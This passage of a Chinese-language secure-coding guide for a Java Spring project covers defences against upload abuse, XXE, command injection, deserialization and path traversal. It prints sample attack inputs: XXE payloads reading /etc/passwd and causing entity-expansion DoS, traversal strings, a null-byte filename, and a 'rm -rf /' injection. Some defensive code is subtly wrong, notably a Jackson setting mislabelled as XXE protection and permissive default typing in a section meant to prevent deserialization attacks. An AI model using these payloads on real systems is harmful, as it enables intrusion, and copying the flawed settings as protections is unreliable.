        String extension = FileNameUtil.getSuffix(originalFilename);
        validateFileExtension(extension);

        // 4. 校验文件大小
        long fileSize = file.getSize();
        validateFileSize(fileSize, extension);

        // 5. 生成安全的文件名
        String fileName = generateSafeFileName(originalFilename);

        // 6. 上传文件
        String url = ossStrategy.upload(file.getInputStream(), fileName);

        // 7. 返回上传结果
        UploadResult result = new UploadResult();
        result.setUrl(url);
        result.setFileName(fileName);
        result.setOriginalName(originalFilename);
        result.setSize(fileSize);
        return result;
    }

    /**
     * 校验文件扩展名 - 白名单机制
     */
    private void validateFileExtension(String extension) {
        // 允许的文件扩展名白名单
        Set<String> allowedExtensions = Set.of(
            // 图片
            "jpg", "jpeg", "png", "gif", "bmp", "webp",
            // 文档
            "pdf", "doc", "docx", "xls", "xlsx", "ppt", "pptx",
            // 压缩包
            "zip", "rar", "7z",
            // 音视频
            "mp3", "mp4", "avi", "mov"
        );

        if (!allowedExtensions.contains(extension.toLowerCase())) {
            throw new ServiceException(
                String.format("不支持的文件类型: %s", extension)
            );
        }

        // 禁止的危险扩展名黑名单
        Set<String> dangerousExtensions = Set.of(
            "php", "jsp", "asp", "aspx", "exe", "bat",
            "sh", "py", "java", "class", "war"
        );

        if (dangerousExtensions.contains(extension.toLowerCase())) {
            throw new ServiceException(
                String.format("禁止上传的文件类型: %s", extension)
            );
        }
    }

    /**
     * 校验文件大小
     */
    private void validateFileSize(long fileSize, String extension) {
        // 根据文件类型设置不同的大小限制
        long maxSize = switch (extension.toLowerCase()) {
            case "jpg", "jpeg", "png", "gif", "webp" ->
                5 * 1024 * 1024;  // 图片最大5MB
            case "pdf", "doc", "docx", "xls", "xlsx" ->
                10 * 1024 * 1024;  // 文档最大10MB
            case "mp4", "avi", "mov" ->
                100 * 1024 * 1024;  // 视频最大100MB
            default ->
                20 * 1024 * 1024;  // 其他文件最大20MB
        };

        if (fileSize > maxSize) {
            throw new ServiceException(
                String.format("文件大小超过限制: %s (最大%s)",
                    FileUtil.readableFileSize(fileSize),
                    FileUtil.readableFileSize(maxSize))
            );
        }
    }

    /**
     * 生成安全的文件名
     *
     * 安全措施:
     * 1. 使用UUID生成唯一文件名
     * 2. 移除特殊字符
     * 3. 限制文件名长度
     */
    private String generateSafeFileName(String originalFilename) {
        // 获取文件扩展名
        String extension = FileNameUtil.getSuffix(originalFilename);

        // 生成UUID作为文件名
        String uuid = IdUtil.simpleUUID();

        // 构造新文件名: yyyyMMdd/uuid.ext
        String datePath = DateUtil.format(new Date(), "yyyyMMdd");
        return String.format("%s/%s.%s", datePath, uuid, extension);
    }
}

文件内容校验

除了扩展名校验,还需要校验文件真实类型:

java
/**
 * 文件魔数(Magic Number)校验
 * 通过文件头部字节判断真实文件类型
 */
public class FileTypeValidator {

    /** 文件魔数映射 */
    private static final Map<String, String> FILE_TYPE_MAP = Map.of(
        "ffd8ff", "jpg",      // JPEG
        "89504e", "png",      // PNG
        "474946", "gif",      // GIF
        "424d", "bmp",        // BMP
        "504b03", "zip",      // ZIP
        "25504446", "pdf",    // PDF
        "d0cf11e0a1b11ae1", "doc"  // DOC
    );

    /**
     * 校验文件真实类型
     *
     * @param file 上传的文件
     * @param expectedType 期望的文件类型
     * @return true表示类型匹配
     */
    public static boolean validateFileType(MultipartFile file,
                                          String expectedType) {
        try {
            // 读取文件头部字节
            byte[] fileHeader = new byte[10];
            InputStream input = file.getInputStream();
            input.read(fileHeader, 0, fileHeader.length);

            // 转换为十六进制字符串
            String fileCode = bytesToHex(fileHeader);

            // 查找匹配的文件类型
            for (Map.Entry<String, String> entry : FILE_TYPE_MAP.entrySet()) {
                if (fileCode.toLowerCase().startsWith(entry.getKey())) {
                    String realType = entry.getValue();
                    return realType.equalsIgnoreCase(expectedType);
                }
            }

            return false;

        } catch (IOException e) {
            log.error("文件类型校验失败", e);
            return false;
        }
    }

    /**
     * 字节数组转十六进制字符串
     */
    private static String bytesToHex(byte[] bytes) {
        StringBuilder sb = new StringBuilder();
        for (byte b : bytes) {
            sb.append(String.format("%02x", b));
        }
        return sb.toString();
    }
}

使用示例:

java
@PostMapping("/upload/image")
public R<String> uploadImage(@RequestParam("file") MultipartFile file) {
    // 1. 校验文件扩展名
    String extension = FileNameUtil.getSuffix(file.getOriginalFilename());
    if (!List.of("jpg", "jpeg", "png", "gif").contains(extension)) {
        return R.fail("仅支持上传图片文件");
    }

    // 2. 校验文件真实类型(防止伪装)
    if (!FileTypeValidator.validateFileType(file, extension)) {
        return R.fail("文件类型与扩展名不匹配");
    }

    // 3. 上传文件
    UploadResult result = ossClient.upload(file);
    return R.ok(result.getUrl());
}

文件名安全处理

防止路径遍历和特殊字符攻击:

java
/**
 * 文件名安全处理
 */
public class FileNameSanitizer {

    /**
     * 清理文件名中的危险字符
     *
     * 移除:
     * - 路径分隔符: / \
     * - 特殊字符: ; | & $ > < ` !
     * - 控制字符: \0 \n \r
     */
    public static String sanitizeFileName(String fileName) {
        if (StringUtils.isBlank(fileName)) {
            throw new IllegalArgumentException("文件名不能为空");
        }

        // 1. 移除路径分隔符,防止路径遍历
        fileName = fileName.replace("/", "")
                          .replace("\\", "")
                          .replace("..", "");

        // 2. 移除特殊字符
        fileName = fileName.replaceAll("[;|&$><`!\\x00-\\x1f]", "");

        // 3. 限制文件名长度
        if (fileName.length() > 255) {
            String ext = FileNameUtil.getSuffix(fileName);
            String name = FileNameUtil.getPrefix(fileName);
            fileName = name.substring(0, 255 - ext.length() - 1) + "." + ext;
        }

        // 4. 确保文件名不为空
        if (StringUtils.isBlank(fileName)) {
            throw new IllegalArgumentException("文件名包含非法字符");
        }

        return fileName;
    }

    /**
     * 校验文件路径安全性
     * 防止路径遍历攻击
     */
    public static boolean isValidFilePath(String filePath, String baseDir) {
        try {
            // 规范化路径
            Path path = Paths.get(baseDir, filePath).normalize();
            Path base = Paths.get(baseDir).normalize();

            // 确保文件路径在基础目录内
            return path.startsWith(base);

        } catch (Exception e) {
            return false;
        }
    }
}

攻击示例和防护:

java
// ❌ 路径遍历攻击
String attackFile1 = "../../etc/passwd";
String attackFile2 = "..\\..\\windows\\system32\\config\\sam";
String attackFile3 = "shell.php%00.jpg";  // 空字节截断

// ✅ 安全处理后
String safe1 = FileNameSanitizer.sanitizeFileName(attackFile1);
// 结果: "etcpasswd"

// ✅ 路径校验
boolean valid = FileNameSanitizer.isValidFilePath(
    "../../etc/passwd",
    "/var/www/uploads"
);
// 结果: false (路径不在基础目录内)

文件存储隔离

将上传文件存储在Web根目录之外:

yaml
# application.yml - OSS配置
oss:
  # 本地存储配置
  local:
    # 存储路径 - Web根目录之外
    path: /data/uploads
    # 域名
    domain: https://file.example.com
    # 访问前缀
    prefix: /files
java
/**
 * 本地存储策略
 */
@Service
public class LocalOssStrategy implements OssStrategy {

    @Value("${oss.local.path}")
    private String storagePath;

    @Override
    public String upload(InputStream input, String fileName) {
        // 1. 构造完整存储路径
        Path fullPath = Paths.get(storagePath, fileName).normalize();

        // 2. 校验路径安全性
        if (!fullPath.startsWith(Paths.get(storagePath))) {
            throw new ServiceException("非法的文件路径");
        }

        // 3. 创建目录
        File dir = fullPath.getParent().toFile();
        if (!dir.exists()) {
            dir.mkdirs();
        }

        // 4. 写入文件
        try {
            Files.copy(input, fullPath, StandardCopyOption.REPLACE_EXISTING);
        } catch (IOException e) {
            throw new ServiceException("文件上传失败", e);
        }

        // 5. 返回访问URL
        return buildFileUrl(fileName);
    }
}

Nginx配置 - 禁止执行上传目录的脚本:

nginx
# nginx.conf

# 上传文件目录
location /files {
    alias /data/uploads;

    # 禁止执行PHP、Python等脚本
    location ~ \.(php|py|jsp|asp|sh|pl)$ {
        deny all;
        return 403;
    }

    # 设置MIME类型
    include mime.types;
    default_type application/octet-stream;

    # 禁止列目录
    autoindex off;

    # 添加安全响应头
    add_header X-Content-Type-Options nosniff;
    add_header Content-Disposition "attachment";
}

XXE外部实体注入防护

XXE攻击原理

XXE (XML External Entity Injection) 外部实体注入是指攻击者通过XML解析器的外部实体功能,读取服务器文件、SSRF攻击或DoS攻击。

XXE攻击示例:

xml
<!-- 1. 读取系统文件 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
</user>

<!-- 2. SSRF攻击 -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-api/admin">
]>
<data>&xxe;</data>

<!-- 3. DoS攻击 (Billion Laughs) -->
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!-- ... 递归扩展,内存耗尽 -->
]>
<lolz>&lol9;</lolz>

XXE防护配置

Jackson JSON解析器默认禁用XXE:

java
package plus.ruoyi.common.json.config;

/**
 * JSON自动配置
 */
@Configuration
public class JsonAutoConfiguration {

    @Bean
    @Primary
    public ObjectMapper objectMapper() {
        ObjectMapper mapper = new ObjectMapper();

        // 禁用XXE功能
        mapper.configure(
            JsonParser.Feature.ALLOW_UNQUOTED_FIELD_NAMES,
            false
        );

        // 其他安全配置
        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);

        return mapper;
    }
}

XML解析器安全配置:

java
/**
 * 安全的XML解析器配置
 */
public class SafeXmlParser {

    /**
     * 创建安全的DocumentBuilder
     */
    public static DocumentBuilder createSafeDocumentBuilder()
            throws ParserConfigurationException {

        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

        // 1. 禁用DTD
        factory.setFeature(
            "http://apache.org/xml/features/disallow-doctype-decl",
            true
        );

        // 2. 禁用外部通用实体
        factory.setFeature(
            "http://xml.org/sax/features/external-general-entities",
            false
        );

        // 3. 禁用外部参数实体
        factory.setFeature(
            "http://xml.org/sax/features/external-parameter-entities",
            false
        );

        // 4. 禁用外部DTD
        factory.setFeature(
            "http://apache.org/xml/features/nonvalidating/load-external-dtd",
            false
        );

        // 5. 禁用XInclude
        factory.setXIncludeAware(false);

        // 6. 禁用扩展
        factory.setExpandEntityReferences(false);

        return factory.newDocumentBuilder();
    }

    /**
     * 安全解析XML
     */
    public static Document parseXmlSafely(String xmlContent) {
        try {
            DocumentBuilder builder = createSafeDocumentBuilder();

            // 解析XML
            InputSource source = new InputSource(new StringReader(xmlContent));
            return builder.parse(source);

        } catch (Exception e) {
            throw new ServiceException("XML解析失败", e);
        }
    }
}

使用示例:

java
@PostMapping("/import/xml")
public R<Void> importXml(@RequestBody String xmlContent) {
    try {
        // ✅ 使用安全的XML解析器
        Document doc = SafeXmlParser.parseXmlSafely(xmlContent);

        // 处理XML内容
        processXmlDocument(doc);

        return R.ok();

    } catch (Exception e) {
        return R.fail("XML导入失败: " + e.getMessage());
    }
}

命令注入防护

命令注入攻击

命令注入是指攻击者在输入中注入系统命令,导致服务器执行任意命令。

攻击示例:

java
// ❌ 危险: 直接拼接命令
String fileName = request.getParameter("file");
String command = "cat " + fileName;  // 注入: file=test.txt; rm -rf /
Runtime.getRuntime().exec(command);

// ❌ 危险: 使用sh -c执行
String[] cmd = {"/bin/sh", "-c", "cat " + fileName};
Runtime.getRuntime().exec(cmd);

常见注入符号:

bash
; | & && || ` $ ( ) < > >> \n

命令执行防护

项目中避免直接执行系统命令,如需执行应使用白名单机制:

java
/**
 * 安全的命令执行工具
 */
public class SafeCommandExecutor {

    /** 允许执行的命令白名单 */
    private static final Set<String> ALLOWED_COMMANDS = Set.of(
        "ls", "pwd", "date", "whoami"
    );

    /**
     * 安全执行命令
     *
     * @param command 命令名称(必须在白名单中)
     * @param args 命令参数(会进行转义)
     */
    public static String executeCommand(String command, String... args) {
        // 1. 校验命令是否在白名单中
        if (!ALLOWED_COMMANDS.contains(command)) {
            throw new SecurityException("不允许执行的命令: " + command);
        }

        // 2. 清理参数中的危险字符
        String[] safeArgs = Arrays.stream(args)
            .map(SafeCommandExecutor::sanitizeArg)
            .toArray(String[]::new);

        // 3. 构造命令数组(不使用sh -c)
        String[] cmdArray = new String[safeArgs.length + 1];
        cmdArray[0] = command;
        System.arraycopy(safeArgs, 0, cmdArray, 1, safeArgs.length);

        // 4. 执行命令
        try {
            Process process = Runtime.getRuntime().exec(cmdArray);

            // 读取输出
            BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream())
            );

            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }

            // 等待执行完成
            int exitCode = process.waitFor();
            if (exitCode != 0) {
                throw new RuntimeException("命令执行失败,退出码: " + exitCode);
            }

            return output.toString();

        } catch (Exception e) {
            throw new ServiceException("命令执行异常", e);
        }
    }

    /**
     * 清理参数中的危险字符
     */
    private static String sanitizeArg(String arg) {
        if (arg == null) {
            return "";
        }

        // 移除危险字符
        return arg.replaceAll("[;&|`$()\\n\\r<>]", "");
    }
}

使用ProcessBuilder (更安全):

java
/**
 * 使用ProcessBuilder执行命令
 */
public static String executeWithProcessBuilder(String command, String... args) {
    try {
        // 1. 构造命令列表
        List<String> commandList = new ArrayList<>();
        commandList.add(command);
        commandList.addAll(Arrays.asList(args));

        // 2. 创建ProcessBuilder
        ProcessBuilder builder = new ProcessBuilder(commandList);

        // 3. 设置工作目录
        builder.directory(new File("/tmp"));

        // 4. 合并错误流
        builder.redirectErrorStream(true);

        // 5. 执行命令
        Process process = builder.start();

        // 6. 读取输出
        StringBuilder output = new StringBuilder();
        try (BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream()))) {
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
        }

        // 7. 等待完成(设置超时)
        boolean finished = process.waitFor(30, TimeUnit.SECONDS);
        if (!finished) {
            process.destroy();
            throw new TimeoutException("命令执行超时");
        }

        return output.toString();

    } catch (Exception e) {
        throw new ServiceException("命令执行失败", e);
    }
}

反序列化漏洞防护

反序列化攻击

Java反序列化漏洞是指攻击者构造恶意序列化对象,在反序列化时执行任意代码。

危险示例:

java
// ❌ 危险: 直接反序列化不可信数据
ObjectInputStream ois = new ObjectInputStream(untrustedInput);
Object obj = ois.readObject();  // 可能触发恶意代码执行

反序列化防护

项目使用JSON而非Java序列化,避免反序列化漏洞:

java
/**
 * 使用JSON序列化,替代Java序列化
 */
@Component
public class RedisCache {

    @Resource
    private RedisTemplate<String, Object> redisTemplate;

    /**
     * 缓存对象 - 使用JSON序列化
     */
    public <T> void setCacheObject(String key, T value) {
        // 使用Jackson序列化为JSON
        redisTemplate.opsForValue().set(key, value);
    }

    /**
     * 获取缓存对象 - 反序列化JSON
     */
    public <T> T getCacheObject(String key, Class<T> clazz) {
        Object value = redisTemplate.opsForValue().get(key);
        if (value == null) {
            return null;
        }

        // 使用Jackson反序列化
        return JsonUtils.parseObject(value.toString(), clazz);
    }
}

Redis序列化配置:

java
@Configuration
public class RedisConfig {

    @Bean
    public RedisTemplate<String, Object> redisTemplate(
            RedisConnectionFactory connectionFactory) {

        RedisTemplate<String, Object> template = new RedisTemplate<>();
        template.setConnectionFactory(connectionFactory);

        // ✅ 使用JSON序列化器,替代JDK序列化
        Jackson2JsonRedisSerializer<Object> serializer =
            new Jackson2JsonRedisSerializer<>(Object.class);

        // 配置ObjectMapper
        ObjectMapper mapper = new ObjectMapper();
        mapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
        mapper.activateDefaultTyping(
            LaissezFaireSubTypeValidator.instance,
            ObjectMapper.DefaultTyping.NON_FINAL,
            JsonTypeInfo.As.PROPERTY
        );

        serializer.setObjectMapper(mapper);

        // 设置value序列化器
        template.setValueSerializer(serializer);
        template.setHashValueSerializer(serializer);

        // 设置key序列化器
        template.setKeySerializer(new StringRedisSerializer());
        template.setHashKeySerializer(new StringRedisSerializer());

        template.afterPropertiesSet();
        return template;
    }
}

如果必须使用Java序列化,启用类型过滤:

java
/**
 * 安全的Java反序列化
 */
public class SafeObjectInputStream extends ObjectInputStream {

    /** 允许反序列化的类白名单 */
    private static final Set<String> ALLOWED_CLASSES = Set.of(
        "java.lang.String",
        "java.lang.Integer",
        "java.util.ArrayList",
        "plus.ruoyi.system.domain.User"
    );

    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc)
            throws IOException, ClassNotFoundException {

        String className = desc.getName();

        // 检查类是否在白名单中
        if (!ALLOWED_CLASSES.contains(className)) {
            throw new InvalidClassException(
                "不允许反序列化的类: " + className
            );
        }

        return super.resolveClass(desc);
    }
}

路径遍历防护

路径遍历攻击

路径遍历攻击是指攻击者通过../等符号访问Web根目录之外的文件。

攻击示例:

http
GET /download?file=../../etc/passwd HTTP/1.1

GET /image?path=..\..\windows\system32\config\sam HTTP/1.1

路径规范化

使用Path.normalize()防止路径遍历:

java
/**
 * 文件下载 - 路径遍历防护
 */
@GetMapping("/download")
public void downloadFile(@RequestParam("file") String fileName,
                        HttpServletResponse response) {
    try {
        // 1. 定义基础目录
        String baseDir = "/data/uploads";

        // 2. 规范化路径
        Path filePath = Paths.get(baseDir, fileName).normalize();
        Path basePath = Paths.get(baseDir).normalize();

        // 3. 校验路径是否在基础目录内
        if (!filePath.startsWith(basePath)) {
            throw new SecurityException("非法的文件路径");
        }

        // 4. 校验文件存在
        File file = filePath.toFile();
        if (!file.exists() || !file.isFile()) {
            throw new FileNotFoundException("文件不存在");
        }

        // 5. 下载文件
        response.setContentType("application/octet-stream");
        response.setHeader("Content-Disposition",
            "attachment; filename=" + URLEncoder.encode(file.getName(), "UTF-8"));

        try (FileInputStream fis = new FileInputStream(file);
             OutputStream os = response.getOutputStream()) {
            IoUtil.copy(fis, os);
        }

    } catch (Exception e) {
        log.error("文件下载失败", e);
        throw new ServiceException("文件下载失败");
    }
}

路径安全工具类:

java
/**
 * 路径安全工具类
 */
public class PathSecurityUtil {

    /**
     * 校验文件路径安全性
     *
     * @param filePath 文件路径
     * @param baseDir 基础目录
     * @return true表示安全
     */
    public static boolean isValidPath(String filePath, String baseDir) {
        try {
            // 规范化路径
            Path path = Paths.get(baseDir, filePath).normalize().toAbsolutePath();
            Path base = Paths.get(baseDir).normalize().toAbsolutePath();

            // 确保路径在基础目录内
            return path.startsWith(base);

        } catch (Exception e) {
            log.error("路径校验异常", e);
            return false;
        }
    }

    /**
     * 清理文件名中的危险字符
     */
    public static String sanitizePath(String path) {
        if (StringUtils.isBlank(path)) {
            throw new IllegalArgumentException("路径不能为空");
        }

        // 移除路径遍历符号
        path = path.replace("../", "")
                  .replace("..\\", "")
                  .replace("./", "")
                  .replace(".\\", "");

        // 移除绝对路径符号
        if (path.startsWith("/") || path.matches("^[a-zA-Z]:.*")) {
            throw new IllegalArgumentException("不允许使用绝对路径");
        }

        return path;
    }
}

防护示例:

java
// ❌ 路径遍历攻击
String attackPath1 = "../../etc/passwd";
String attackPath2 = "..\\..\\windows\\system32";

// ✅ 安全校验
boolean safe1 = PathSecurityUtil.isValidPath(attackPath1, "/var/www/uploads");
// 结果: false

String cleaned = PathSecurityUtil.sanitizePath(attackPath1);
// 结果: "etcpasswd"

安全配置最佳实践

1. 错误信息处理

生产环境不暴露详细错误信息:

java
/**
 * 全局异常处理器
 */
@RestControllerAdvice
public class GlobalExceptionHandler {

    /**
     * 业务异常
     */
    @ExceptionHandler(ServiceException.class)
    public R<Void> handleServiceException(ServiceException e) {
        log.error("业务异常: {}", e.getMessage());

        // 返回通用错误消息,不暴露内部细节
        return R.fail(e.getMessage());
    }

    /**
     * 系统异常
     */
    @ExceptionHandler(Exception.class)
    public R<Void> handleException(Exception e) {
        log.error("系统异常", e);

        // 生产环境不返回堆栈信息
        if (isProd()) {
            return R.fail("系统繁忙,请稍后再试");
        } else {
            return R.fail("系统异常: " + e.getMessage());
        }
    }

    /**
     * SQL异常
     */
    @ExceptionHandler(SQLException.class)
    public R<Void> handleSQLException(SQLException e) {
        log.error("SQL异常", e);

        // 不暴露SQL错误详情
        return R.fail("数据操作失败");
    }
}

2. 日志脱敏

敏感数据不记录到日志:

java
/**
 * 日志脱敏工具
 */
public class LogDesensitizer {

    /**
     * 脱敏手机号
     */
    public static String desensitizePhone(String phone) {
        if (StringUtils.isBlank(phone) || phone.length() != 11) {
            return phone;
        }
        return phone.replaceAll("(\\d{3})\\d{4}(\\d{4})", "$1****$2");
    }

    /**
     * 脱敏身份证号
     */
    public static String desensitizeIdCard(String idCard) {
        if (StringUtils.isBlank(idCard)) {
            return idCard;
        }
        return idCard.replaceAll("(\\d{6})\\d{8}(\\d{4})", "$1********$2");
    }

    /**
     * 脱敏银行卡号
     */
    public static String desensitizeBankCard(String bankCard) {
        if (StringUtils.isBlank(bankCard)) {
            return bankCard;
        }
        return bankCard.replaceAll("(\\d{4})\\d+(\\d{4})", "$1****$2");
    }
}

使用示例:

java
@Service
public class UserService {

    public void login(String phone, String password) {
        // ❌ 危险: 记录明文密码
        // log.info("用户登录: phone={}, password={}", phone, password);

        // ✅ 安全: 脱敏敏感信息
        log.info("用户登录: phone={}", LogDesensitizer.desensitizePhone(phone));
    }
}

3. 安全响应头

添加安全相关的HTTP响应头:

java
/**
 * 安全响应头过滤器
 */
@Component
public class SecurityHeaderFilter implements Filter {

    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                        FilterChain chain) throws IOException, ServletException {

        HttpServletResponse httpResponse = (HttpServletResponse) response;

        // 1. 防止点击劫持
        httpResponse.setHeader("X-Frame-Options", "SAMEORIGIN");

        // 2. 防止MIME类型嗅探
        httpResponse.setHeader("X-Content-Type-Options", "nosniff");

        // 3. 启用XSS防护
        httpResponse.setHeader("X-XSS-Protection", "1; mode=block");

        // 4. 内容安全策略
        httpResponse.setHeader("Content-Security-Policy",
            "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'");

        // 5. 引用来源策略
        httpResponse.setHeader("Referrer-Policy", "strict-origin-when-cross-origin");

        // 6. 严格传输安全
        if (request.isSecure()) {
            httpResponse.setHeader("Strict-Transport-Security",
                "max-age=31536000; includeSubDomains");
        }

        chain.doFilter(request, response);
    }
}

4. 依赖安全扫描

定期检查依赖库漏洞:

xml
<!-- pom.xml - 依赖检查插件 -->
<plugin>
    <groupId>org.owasp</groupId>
    <artifactId>dependency-check-maven</artifactId>
    <version>8.4.0</version>
    <executions>
        <execution>
            <goals>
                <goal>check</goal>
            </goals>
        </execution>
    </executions>
</plugin>
bash
# 执行依赖安全扫描
mvn dependency-check:check

# 查看扫描报告
open target/dependency-check-report.html

常见问题

1. XSS过滤器误拦截正常请求

问题现象: 提交包含HTML的内容被XSS过滤器清理

解决方案:

yaml
# 方式1: 配置排除URL
xss:
  excludeUrls:
    - /system/notice/*  # 通知可能包含HTML
    - /cms/article/*    # 文章内容

# 方式2: 使用@Xss注解的宽松模式
@Xss(mode = Xss.Mode.LENIENT)
private String richTextContent;

2. SQL注入防护影响模糊查询

问题现象: 使用LIKE查询时被SQL注入防护拦截

解决方案:

java
// ✅ 正确: 使用MyBatis-Plus的like方法
wrapper.like(SysUser::getUserName, keyword);

// ❌ 错误: 手动拼接LIKE语句
// wrapper.apply("user_name LIKE '%" + keyword + "%'");

3. 文件上传大小限制

问题现象: 上传大文件报错 "Maximum upload size exceeded"

解决方案:

yaml
# application.yml
spring:
  servlet:
    multipart:
      # 单个文件最大值
      max-file-size: 100MB
      # 总上传数据最大值
      max-request-size: 200MB
java
// 业务层大小校验
if (file.getSize() > 100 * 1024 * 1024) {
    throw new ServiceException("文件大小不能超过100MB");
}

4. CSRF防护导致POST请求失败

问题现象: POST请求返回403 Forbidden

解决方案:

typescript
// 前端请求携带Token
const [err, data] = await http.post('/api/user', userData)

// 检查Token是否过期
if (err && err.code === 401) {
  // Token过期,重新登录
  await router.push('/login')
}

5. 路径遍历防护影响文件下载

问题现象: 下载文件报"非法的文件路径"

解决方案:

java
// 确保文件路径使用相对路径
String filePath = "2024/01/15/abc123.pdf";  // ✅

// 不要使用绝对路径或包含../
String badPath = "../../../etc/passwd";  // ❌

总结

漏洞防护是应用安全的基础,需要在多个层面实施防护措施:

  1. XSS防护 - 全局过滤器 + 注解校验 + 输出编码
  2. SQL注入防护 - 参数化查询 + 关键字过滤 + 预编译语句
  3. CSRF防护 - Token验证 + SameSite Cookie
  4. 文件上传安全 - 类型白名单 + 大小限制 + 内容校验 + 路径隔离
  5. XXE防护 - 禁用外部实体 + 安全解析器配置
  6. 命令注入防护 - 命令白名单 + 参数转义 + 避免Shell执行
  7. 反序列化防护 - 使用JSON + 类型白名单
  8. 路径遍历防护 - 路径规范化 + 基础目录校验

建议在项目中:

  • 启用所有内置安全防护机制
  • 敏感接口额外添加注解校验
  • 定期进行安全审计和漏洞扫描
  • 及时更新依赖库修复已知漏洞
  • 生产环境不暴露详细错误信息